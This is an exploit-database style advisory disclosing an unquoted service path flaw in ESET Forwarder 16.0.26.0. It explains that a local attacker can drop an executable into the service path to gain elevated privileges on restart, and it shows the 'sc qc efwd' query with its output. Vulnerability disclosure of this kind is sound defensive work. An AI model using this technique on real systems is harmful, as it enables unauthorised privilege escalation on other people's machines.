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ESET Forwarder 16.0.26.0 Unquoted Service Path

ESET Forwarder version 16.0.26.0 suffers from an unquoted service path vulnerability.

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########################################################################## Exploit Title: ESET Forwarder 16.0.26.0 - Unquoted Service Path Privilege Escalation# Date: 2023-04-30# Author: Milad Karimi (Ex3ptionaL)# Vendor Homepage: https://www.eset.com# Software Link: https://www.eset.com/download/# version : 16.0.26.0  (Latest)# Tested on: Windows 11##########################################################################ESET installs as a service with an unquoted service pathTo properly exploit this vulnerability,the local attacker must insert an executable file in the path of the service.Upon service restart or system reboot, the malicious code will be runwith elevated privileges.-------------------------------------------C:\>sc qc efwd[SC] QueryServiceConfig SUCCESSSERVICE_NAME: efwd        TYPE               : 10  WIN32_OWN_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : C:\Program Files\ESET\ESET Security\efwd.exe        LOAD_ORDER_GROUP   :        TAG                : 0        DISPLAY_NAME       : ESET Forwarder        DEPENDENCIES       :        SERVICE_START_NAME : NT AUTHORITY\NetworkService

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